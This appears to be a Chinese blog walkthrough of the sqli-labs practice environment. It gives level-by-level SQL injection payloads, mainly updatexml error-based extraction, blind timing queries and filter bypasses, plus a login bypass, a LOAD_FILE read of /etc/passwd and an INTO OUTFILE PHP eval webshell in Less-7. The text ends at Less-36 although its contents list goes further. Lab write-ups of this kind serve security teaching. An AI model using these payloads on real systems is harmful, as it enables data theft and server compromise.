sqli-labs攻关记录

ゞ浴缸里的玫瑰 2022-11-07 14:37 8阅读 0赞

### 文章目录 ###

*  1. 注入逻辑
 *  补充：闭合思路
 *  2. get型注入
 *   *  Less-1
     *  Less-2
     *  Less-3
     *  Less-4
     *  Less-5
     *  Less-6
     *  Less-7
     *  Less-8
     *  Less-9
     *  Less-10
     *  Less-23
     *  Less-25
     *  Less-25a
     *  Less-26
     *  Less-26a
     *  Less-27
     *  Less-27a
     *  Less-28
     *  Less-28a
     *  Less-29
     *  Less-30
     *  Less-31
     *  Less-35
     *  Less-38
     *  Less-39
     *  Less-40
     *  Less-41
 *  3. post型注入
 *   *  Less-11
     *  Less-12
     *  Less-13
     *  Less-14
     *  Less-15
     *  Less-16
     *  Less-17
     *  Less-18
     *  Less-19
     *  Less-20
     *  Less-21
     *  Less-22
     *  Less-42
     *  Less-43
     *  Less-44
     *  Less-45
 *  4. 二次注入
 *   *  Less-24
 *  5. 宽字节注入
 *   *  Less-32
     *  Less-33
     *  Less-34
     *  Less-36
     *  Less-36
 *  6. order by 注入
 *   *  Less-46
     *  Less-47
     *  Less-48
     *  Less-49
     *  Less-50
     *  Less-51
     *  Less-52
     *  Less-53
 *  7. 其他
 *   *  Less-54
     *  Less-55
     *  Less-56
     *  Less-57
     *  Less-58
     *  Less-59
     *  Less-60
     *  Less-61
     *  Less-62
     *  Less-63
     *  Less-64
     *  Less-65
 *  参考文章

# 1. 注入逻辑 #

1.  闭合语句
2.  测试字段数找回显点，如果找不到看能不能报错，直接走报错注入的流程
3.  如果可以找到回显点，则正常爆数据库名、表名、字段名、值

docker搭建sqli-labs:

docker run -d -p 8888:80 acgpiano/sqli-labs

--------------------

我们先给出一些值，方便大家对照结果。

<table> 
 <thead> 
  <tr> 
   <th>信息</th> 
   <th>值</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>当前数据库</td> 
   <td>security</td> 
  </tr> 
  <tr> 
   <td>当前版本</td> 
   <td>5.5.44-0ubuntu0.14.04.1</td> 
  </tr> 
  <tr> 
   <td>admin的密码</td> 
   <td>admin</td> 
  </tr> 
  <tr> 
   <td>users表字段</td> 
   <td>id,username,password</td> 
  </tr> 
 </tbody> 
</table>

# 补充：闭合思路 #

1.  测试双引号加括号
2.  测试双引号
3.  测试单引号加括号
4.  测试单个单引号

如果测试到某一步到时候，发现页面回显改变，证明闭合点跟我们测试点有关系。

`如果发现带不带括号都感觉语句执行了，那么一般情况带括号到才是真正可以闭合语句的。`

# 2. get型注入 #

## Less-1 ##

就是一个普通的字符型注入，没什么特别的。

经测试过滤了\#，但用%23可以绕过。–没有被过滤。

?id=1' order by if(1=1,(updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)),1)%23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]

这条语句可以爆破出数据库，证明报错注入可以用，我们看一下源代码可知没有做任何的防护措施，所以这个我们直接略过。

## Less-2 ##

?id=1 and 1 =1 #正常
    ?id=1 and 1 =2 #回显改变

综上确定为数字型注入。

![在这里插入图片描述][20210324162710997.png]

利用报错注入成功爆出表名，可知基本没有过滤。

?id=1 order by if(1=1,(updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)),1)%23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 1]

`通过下面的命令利用join报错注入获取字段名，确定users表有id，username，password三个字段。`

?id=1 order by if(1=1,(select * from (select * from users as a join users b using (id,username,password))c),1)%23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 2]

通过下面的payload可以爆出所有的

?id=1 order by if(1=1,(updatexml(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)),1)%23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 3]

找密码，确定admin密码为admin：

?id=1 order by if(1=1,(updatexml(1,concat(0x7e,(select password from users where username = 'admin' limit 0,1),0x7e),1)),1)%23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 4]

## Less-3 ##

我们输入下面的payload

?id='$$$

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 5]  
可发现$$$左边的引号没了，右面多了个引号跟括号，可知道我之前输入的引号被闭合了，我们可以猜测到sql语句的一部分大概是这样的，x为我们需要输入的数据：

select * from users where id = ('x') limit 0,1

所以我们可以输入`1') %23`对其进行闭合并注释后面的limit语句。

下面两个语句结果不一样，确定此处注入点可利用。

1') and 1=1 %23
    1') and 1=2 %23

直接利用爆破注入获取表名与admin的密码：

?id=1') order by if(1=1,(updatexml(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)),1)%23
    ?id=1') order by if(1=1,(updatexml(1,concat(0x7e,(select password from users where username = 'admin' limit 0,1),0x7e),1)),1)%23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 6]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 7]

## Less-4 ##

用双引号试一试发现报错

?id="$$$$

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 8]  
将less-3中的单引号换成双引号，其余一样：

?id=1") order by if(1=1,(updatexml(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)),1)%23
    ?id=1") order by if(1=1,(updatexml(1,concat(0x7e,(select password from users where username = 'admin' limit 0,1),0x7e),1)),1)%23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 9]

## Less-5 ##

?id='$$$$

这个没有回显，但可以报错，而且过滤了`#还有-- x`。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 10]

直接报错注入拿到密码

?id=1' order by if(1=1,(updatexml(1,concat(0x7e,(select password from users where username = 'admin' limit 0,1),0x7e),1)),1)%23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 11]

## Less-6 ##

把less-5中的单引号改成双引号即可。

## Less-7 ##

一样的还是首先闭合语句，闭合的时候我们考虑的就是单引号，双引号，括号。最终测试出来闭合语句如下,用一个单引号两个括号即可闭合：

?id=1')) and 1=1 %23

测试了许久发现回显只有两种，且不会报错，因此我们采取盲注，这时候使用基于时间的盲注：

?id=1')) and if((ascii(substr((select database()),1,1))<116),sleep(3),1) %23 #延迟了三秒
    ?id=1')) and if((ascii(substr((select database()),1,1))<115),sleep(3),1) %23 #没有延迟

证明了数据库的第一个字符的ascii码为115，经查询是s  
![在这里插入图片描述][2021032615183673.png]  
我们已知当前数据库为security，因此盲注成功。

测试information库是否被过滤：

?id=1')) and if((ascii(substr((SELECT  concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1),1,1))<99999),sleep(3),1) %23 #证明information没被过滤
    ?id=1')) and if((ascii(substr((SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<99999),sleep(3),1) %23 #证明information.tables没被过滤
    ?id=1')) and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1),1,1))<99999),sleep(3),1) %23 #证明information.columns没有被过滤

网页卡了三秒，证明语句执行成功，information相关都没有被过滤。

我们用如下语句确定了file\_priv的值为Y，因此如果我们知道网站的绝对路径，则可以给网站添加webshell。

?id=1')) and if((ascii(substr((select file_priv from mysql.user where user = 'root' limit 0,1),1,1))<90),sleep(3),1) %23
    ?id=1')) and if((ascii(substr((select file_priv from mysql.user where user = 'root' limit 0,1),1,1))<89),sleep(3),1) %23

下面这条语句执行成功,网页延迟了3秒，证明是linux系统：

?id=1')) and if((ascii(substr((SELECT LOAD_FILE('/etc/passwd')),1,1))<116),sleep(3),1) %23 #延迟了三秒```

用以下语句确定有三个字段：

?id=1'))  order by 3 %23 #成功
    ?id=1'))  order by 4 %23 #失败

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 12]

我们猜测webshell站点在/var/www/html下，直接食用outfile写webshell：

?id=1')) and false UNION select null,0x3c3f706870206576616c28245f504f53545b2773666c275d293f3e,null INTO OUTFILE '/var/www/html/Less-7/shell.php' -- x

![在这里插入图片描述][20210326165340681.png]

发现失败了，但是路径改成tmp下即可成功，应该是权限问题。

?id=1')) and false UNION select null,0x3c3f706870206576616c28245f504f53545b2773666c275d293f3e,null INTO OUTFILE '/tmp/shell.php' -- x

![在这里插入图片描述][20210326165321942.png]

## Less-8 ##

闭合语句：

?id=1' and 1 = 2 %23

基于布尔的盲注或者基于时间的盲注都行。

## Less-9 ##

这是一个回显固定，且不会报错的页面，一样的先闭合语句：  
用下面的语句发现网页睡眠了2秒，确定语句闭合。

?id=1' and sleep(2) %23

其余同上

## Less-10 ##

这是一个回显固定，且不会报错的页面

闭合语句

?id=1" and sleep(3) %23

其余同上

## Less-23 ##

闭合语句，输入一个单引号报错：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 13]  
使用过滤符号发现无效，则只能用单引号对语句进行闭合，于是使用下面对语句进行攻击：

?id=' and false union select  1,2,updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)  '

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 14]

## Less-25 ##

题目提示过滤了and跟or，双写即可绕过。

?id=1' anandd 1 = 1%23
    ?id=1' oorr 1 = 1%23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 15]

## Less-25a ##

只有拼接方式发生了改变，这个是数字型注入没有单引号，使用常规注入即可，其余过滤跟25题一样，过滤了and跟or。

## Less-26 ##

过滤了如下：

1.  过滤符号
2.  and跟or
3.  过滤空格

我们使用单引号闭合后面的单引号，然后双写绕过and，使用%a0绕过空格过滤：

?id=1'%a0aandnd%a01='1
    ?id=1'%a0aandnd%a0(updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)) oorr '

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 16]

## Less-26a ##

测试得出它的参数是被(’’)括起来的，且关闭了报错显示，使用常规注入方式即可，其余过滤跟Less-26一样。

## Less-27 ##

被过滤：

1.  空格
2.  select
3.  union
4.  过滤符

使用报错注入即可，大小写混合绕过select，%a0绕过空格,成功爆破出admin的密码：

?id=1'%a0and%a0(updatexml(1,concat(0x7e,(SelEct%a0password%a0from%a0users%a0where%a0username = 'admin'),0x7e),1)) or '

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 17]

## Less-27a ##

双引号即可闭合，闭合语句：

1"and%a01 ="1

没有报错显示，所以使用常规注入即可，其余过滤情况跟27题一样。

## Less-28 ##

过滤了：

1.  空格
2.  过滤符
3.  select
4.  union

这个页面不报错，只能用常规注入或者盲注来弄，先闭合语句：

?id=1')%A0and%A0false%A0Union%A0Select%A01,2,3%A0and%A0('1

使用常规注入找回显点：

?id=1')%A0and%A0false%A0Union%A0Select%A01,@@version,3%A0and%A0('1

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 18]

## Less-28a ##

比28少了好几个过滤规则，简单得多，闭合方式跟28一样。  
测试语句：

?id=')union%a0select%a01,2,3 %23

## Less-29 ##

这个题中有三个文件，login.php index.php hack.php。

我们先看看index.php，没什么特别，使用单引号闭合语句后直接使用报错注入即可:

?id=1' and (updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)) %23

然后看看login.php:  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 19]$id1可以理解成我们输入的id=1这个整体，$id就是id=1中的1。java\_implimentation是一个过滤函数，逻辑是：

1.  以&为分隔符号分隔参数
2.  如果&后的前两个字符为id，则将其后的值当作此函数的返回值，`然后不会读取后续的参数并直接推出函数`。  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 20]  
    后面还有一个whitelist的过滤函数：
3.  如果传入的参数不是数字，则跳转。  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 21]  
    我们这时候需要知道一个特性，apache解析参数是从后往前解析的。  
    `如果参数为?id=1&id=2。那么真实接受不了到的参数为id=2。`

这个文件整体逻辑是：

*  接受参数
 *  将最后一个id参数的值存到$id中
 *  判断第一个id参数的值是否是数字
 *  如果判断成功，则将最后一个id的参数带入到sql语句中执行。

综上，我们需要做的事情是，传入两个id参数，第一个是数字，第二个为我们恶意的payload，利用apache的特性让其从后往前接收参数将我们恶意的payload带入执行。

?id=1&id=2' and (updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)) %23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 22]

## Less-30 ##

同29，也是有三个页面，先测试index.php:

使用双引号闭合：

?id=1" and  false union select 1,(@@version),3 %23

接着看login.php，只有闭合方式改变了，其余都没有变。

?id=1&id=2" and (updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)) %23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 23]

## Less-31 ##

相比较于30，只有闭合方式改变了，这次是双引号加括号闭合，其余都一样，注入测试语句如下：

?id=1&id=2") and (updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)) %23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 24]

## Less-35 ##

普通的数字型注入，不需要闭合语句，将我们用到到字段转换成16进制不用单引号表示即可。比如用第二条payload成功爆破出admin的密码。

?id=1 and  (updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)) %23
    ?id=1 and (updatexml(1,concat(0x7e,(select password from users where username = 0x61646D696E limit 0,1),0x7e),1)) %23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 25]

## Less-38 ##

1%27 and (updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1))%23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 26]

## Less-39 ##

数字型的38

1%27 and (updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1))%23

## Less-40 ##

基于时间的盲注

## Less-41 ##

数字型注入

id=1 and 1 = 1%23

--------------------

# 3. post型注入 #

## Less-11 ##

在username单输入一个引号就会报错：

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' and password='' LIMIT 0,1' at line 1

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 27]

我们尝试闭合语句,成功以admin的身份登陆：

admin' #

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 28]  
也可以使用报错注入进行常规注入，下图为报错注入出数据库版本：

1' order by if(1=1,(updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)),1)#

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 29]

## Less-12 ##

唯一区别是需用双引号与括号闭合语句，其余同less-11。

admin") #

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 30]

## Less-13 ##

单引号括号即可闭合

admin')#

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 31]

## Less-14 ##

双引号闭合语句

admin"#

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 32]

## Less-15 ##

这道题是盲注，可以使用下面的paylaod来闭合sql语句，之后正常使用盲注的命令即可，布尔型与时间型都可以。

admin'#

## Less-16 ##

用下面的payload可以闭合原sql语句,之后正常使用盲注的命令即可，布尔型与时间型都可以：

admin")#

## Less-17 ##

这道题是基于update命令的，从题干中即可确定，update语句一般是这个样子的：

update new123 set sex='man' where name='tom';

利用：

1.我现在username字段试了半天，发现没有任何反应

admin' or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

2.然后尝试对password字段进行注入，在username字段输入一个正常的用户名，在password字段输入恶意payload：

admin' or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 33]

## Less-18 ##

注入半天没注入出来，根据源码我们发现，必须在post输入正确的账号密码，然后在http的user-agent头上可以有注入点，是一个insert注入：

部分源码：  
对输入的username跟password是有过滤的。  
![在这里插入图片描述][20210330144238144.png]

过滤函数：  
1.限制了payload长度，只有20个。  
2.如果开启了magic\_quote\_gpc则删除所有的反斜杠。  
3.如果不是数字，那么把输入的值用两个单引号括起来  
4.转义特殊字符  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 34]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 35]

但是对user-agent是没有过滤，而且会带入到insert语句中执行。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 36]

所以在user-Agent这个http头中改数据即可：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 37]

## Less-19 ##

注入点变成了referer头，其余跟Less-18一样。

admin' or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) or '

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 38]

## Less-20 ##

注入点在cookie，页面是有个跳转的，速度很快，得抓包才会发现，我们要使用跳转后的页面进行注入才行。

第一个页面  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 39]

返回页面是个跳转：  
![在这里插入图片描述][20210330183059131.png]  
在proxy选项中点击forward得到第二个页面的包，并对其cookie参数进行注入：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 40]  
注入：

admin' or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) or '

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 41]

## Less-21 ##

用admin账号登陆发现uname变成了base64编码，解密后是admin，所以猜测用base64编码的payload即可进行注入，其余跟Less-20一模一样：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 42]  
第一步：  
将payload加密成base64并将=换成%3D：

admin')  or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #  #原payload
    
    YWRtaW4nKSAgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKFNFTEVDVCBAQHZlcnNpb24pLDB4N2UpLDEpICM%3D

插入到cookie中即可进行报错注入：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 43]

## Less-22 ##

在cookie上注入，且闭合符号为`双引号`，其实可以对http头一个一个试，发现只有cookie头可以被注入，其余跟Less-21一样：

![在这里插入图片描述][20210331151857823.png]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 44]

报错注入得到版本号：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 45]

IiBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoU0VMRUNUIEBAdmVyc2lvbiksMHg3ZSksMSkgIw%3D%3D

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 46]

## Less-42 ##

报错注入，post的数据如下

login_user=admin&login_password=%27 and (updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1))%23&mysubmit=Login

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 47]

## Less-43 ##

报错注入，payload如下：

login_user=admin&login_password=1') and (updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1))#&mysubmit=Login

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 48]

## Less-44 ##

基于布尔的盲注，使用如下payload可以进行注入，字符型，可以用单引号进行闭合：

login_user=admin&login_password='or 1 = 1#&mysubmit=Login

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 49]

## Less-45 ##

基于布尔的盲注，使用如下payload可以进行注入，字符型，可以用单引号加括号进行闭合：

login_user=admin&login_password=')or 1 = 2#&mysubmit=Login

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 50]

--------------------

# 4. 二次注入 #

## Less-24 ##

我们创建一个账户，名字是两个单引号，密码也是两个单引号，然后更改其密码，发现会报错：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 51]  
而且发现两个单引号没有被过滤直接从数据库中读了出来：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 52]  
再看看源码：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 53]

综上，这时候我们可以尝试使用二次注入：

1.创建一个账号名字为

test' or 1=1#

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 54]  
2.随意输入一个密码，例如123即可更改所有账号的密码：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 55]

# 5. 宽字节注入 #

## Less-32 ##

查看源码发现：  
`mysql_query("SET NAMES gbk")`，那么一定有宽字节注入。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 56]  
![在这里插入图片描述][20210401190711866.png]

直接输入单引号发现被转义，这时候使用宽字节注入即可，方法：

1.  使用%df%27代替单引号。

?id=1%df%27 and (updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)) %23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 57]

## Less-33 ##

同上32，区别是这次使用了真正的addslashes函数。32使用的是自己实现的addslashes函数。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 58]

## Less-34 ##

宽字节注入的post形式：

admin%df' and (updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)) %23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 59]

## Less-36 ##

普通到报错注入，过滤了单引号用宽字节绕过。

